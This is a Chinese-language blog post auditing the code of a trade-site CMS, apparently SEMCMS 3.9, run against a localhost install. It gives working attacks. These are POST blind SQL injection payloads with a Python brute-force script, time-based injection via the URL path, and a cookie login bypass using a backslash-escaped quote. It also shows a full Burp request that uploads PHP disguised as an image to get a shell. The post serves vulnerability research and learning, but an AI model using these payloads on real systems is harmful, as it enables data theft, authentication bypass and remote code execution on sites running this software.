某最新版商贸系统的代码审计

前言

起源于社团大佬发出的一张图片,最近没事就练一下代码审计吧。。。然后电脑坏了,借了一台win11的,凑合着用吧。

SQL注入

这个CMS的SQL注入挺多的,我就写一下前台利用吧。

第一处

我们直接看一下他写的waf

<?php
include_once "class.phpmailer.php"; 
// 防sql注入

if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get

foreach ($GetArray as $value){ //get

    verify_str($value);

}

function inject_check_sql($sql_str) {

     return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); 
} 

function verify_str($str) { 

   if(inject_check_sql($str)) {

       exit('Sorry,You do this is wrong! (.-.)');
    } 

    return $str; 
} 

逻辑比较简单,利用正则,所有通过 GET 传参得到的参数经过verify_str函数调用 inject_check_sql 函数进行参数检查过滤,如果匹配黑名单,就退出。

  1. 子查询语句被禁用了
  2. 不能有单引号(当SQL的变量包被单引号括起来时不能用单引号闭合)
  3. 没有办法绕过空格

但是这个地方很明显黑名单过滤不严格,而且没有对POST方法进行限制,这样的话我们直接找利用POST方法传参的地方进行构造。

image.png

if (isset($_POST["languageID"])){$Language=test_input(verify_str($_POST["languageID"]));}else{$Language=verify_str($Language);}

但是又有test_input函数进行限制。

function test_input($data) { 
      $data = str_replace("%", "percent", $data);
      $data = trim($data);
      $data = stripslashes($data);
      $data = htmlspecialchars($data,ENT_QUOTES);
      return $data;

   }

具体实现四个功能

  1. 将%替换为percent
  2. trim() 函数移除字符串两侧的空白字符或其他预定义字符,比如/t(制表符),/n(换行),/xb(垂直制表符),/r(回车),(空格)。 功能除去字符串开头和末尾的空格或其他字符。 函数执行成功时返回删除了string字符串首部和尾部空格的字符串,发生错误时返回空字符串("")。 如果任何参数的值为NULL,Trim() 函数返回NULL
  3. stripslashes()删除反斜杠(不能使用反斜杠转义SQL语句中的单引号或双引号)
  4. html转义

明确了这些,剩下的就比较简单了,在任意包含web_inc.php的页面在languageID处构造sql注入语句,以POST方式进行传参,就可以实现。

ascii substr等函数以及大于号小于号并没有被过滤,我们可以盲注测试一下(构建CMS的时候已经知悉数据库名字了,我们直接从相对应ascii进行测试)

ID = 10 and ascii(substr((database()),1,1))>110

或者是

languageID = 2 and ascii(substr(database(),1,1))^109

附一份脚本:

import requests

url = "http://localhost"
database=""

for i in range(1,6):
    for j in range(97,127):
        payload = "1 and ascii(substr(database(),{i},1))^{j}".format(j=j,i=i)

        data = {"languageID":payload}
        #print(payload)
        c=requests.post(url=url,data=data).text
        if "Empty!" in c:
            database+=chr(j)
print(database)

第二处

$web_urls=$_SERVER["REQUEST_URI"];  //获取 url 路径
$web_urls=explode("/", $web_urls);
$urlml=web_language_ml(@$web_urls[1],@$web_urls[2],$db_conn);  // 大写的问号。

跟进web_language_ml方法:

function web_language_ml($web_urls1,$web_urls2,$db_conn){

  $query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or  language_url='$web_urls2' and  language_open=1");

      if (mysqli_num_rows($query)>0){

          $query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or  language_url='$web_urls2' and  language_open=1");
          $row=mysqli_fetch_assoc($query);
          $Urlink=array('url_link'=>$row['language_url'],'url_ml'=>"../",'ID'=>$row['ID']);

      }else{

         $query=$db_conn->query("select * from sc_language where language_mulu=1 and  language_open=1");
         $row=mysqli_fetch_assoc($query);
         $Urlink=array('url_link'=>"",'url_ml'=>"./",'ID'=>$row['ID']);

      }

    return $Urlink; 
}

可以看到$web_urls会被放入数据库语句执行,由于$web_urls获取没有经过过滤函数,所以可以确定存在SQL注入。
但是某些特殊字符在GET传参时,被url编码了,比如双引号,大于号小于号,不过这个地方单引号没有被过滤,可以闭合;而且空格也会被处理,%0a%ob也会被认为字符串,/**/的方法也不行。

我们可以尝试这样构造:

/index.php/'or(sleep(3))or' 

完整SQL语句:

/index.php/1’or+if(substr((select+min(table_name)from(information_schema.tables)where+table_schema=(database())&&table_name!=’sc_banner’),1,1)>’a’,sleep(15),1)#

SQL注入绕过登录

function checkuser($db_conn){ //判断用户是否登陆

    $cookieuseradmin=@verify_str(test_input($_COOKIE["scuseradmin"]));
    $cookieuserpass=@verify_str(test_input($_COOKIE["scuserpass"]));

    $query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");

    if (mysqli_num_rows($query)>0){

         $row=mysqli_fetch_assoc($query);
         return $row['user_qx'];

     }else{

        echo "<script language='javascript'>alert('账号密码不正确重新登陆!');top.location.href='index.html';</script>";
        exit; 
    }

}

获取Cookie中的用户名密码构成sql语句,以单引号格式进行拼接,我们可以恶意构造

select * from sc_user where user_admin='111\' and user_ps='or 1#'

此时,原语句中的SQL单引号被转义,同时编辑cookiescuseradminscuserpass的值

后台文件上传+Getshell

制作一份php内容的图片

image.png

在后台管理页面添加此照片image.png

BurpSuite拦截进行修改

POST /SEMCMS3.9/OSWttq_Admin/SEMCMS_Upfile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3369516516527364944820946580
Content-Length: 830
Origin: http://localhost
Connection: close
Referer: http://localhost/SEMCMS3.9/OSWttq_Admin/SEMCMS_Upload.php?Imageurl=../Images/prdoucts/&filed=images_url&filedname=forms
Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=c4ca4238a0b923820dcc509a6f75849b
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="wname"

111
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

<?php phpinfo();?>
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="imageurl"

../Images/prdoucts/
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="filed"

images_url
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="filedname"

forms
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3369516516527364944820946580--

在我们重命名的时候修改重命名文件为111.jpg.php:进行保存,这是我们看后台保存图片已经写入,但是没有数据。

第二次提交,提交同样的图片,这一次我们修改上传文件名为test.jpg<<<

接着访问,成功实现

image.png

首先是为什么能成功解析成php文件?

      if (test_input($_POST["wname"])!==""){//自定义文件名

        $newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名 

我觉得这个地方能够上传成功与文件名命名格式有关,众所周知,英文状态下冒号是不允许存在的,应该是这个地方产生了截断,导致后面的.jpg没有被拼接上。

但是我不太明白一个地方就是怎么将php写入的,于是全局搜索file_put_contents,只有3处使用,相对比较可疑的是:

function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){

       if ($htmlopen==1){$ml="j";}else{$ml="d";}

        $template="index.php,hta/".$ml."/.htaccess"; //开始应用模版
        $template_mb=explode(",",$template);//以,分割为数组

        for($i=0;$i<count($template_mb);$i++){

              $template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);

              $templateUrl = $lujin.str_replace("hta/".$ml."/","", $template_mb[$i]);
              $output = str_replace('<{Template}>', $mb, $template_o);
              $output = str_replace('<{dirpaths}>', $dirpaths, $output);

          file_put_contents($templateUrl, $output);

           }

}

这个地方的$mb是可控的

image.png

这里file_get_contents()str_replace() 就是从模板目录下提取index.php和.htaccess文件然后替换<{Template}>写入到主目录下

理论上这个地方也可以Getshell,但这个地方我还是不太明白到底test.jpg<<<是如何写入的,希望有大佬能教教我~

发布者

AndyNoel

一杯未尽,离怀多少。

《某最新版商贸系统的代码审计》上有3条评论

发表回复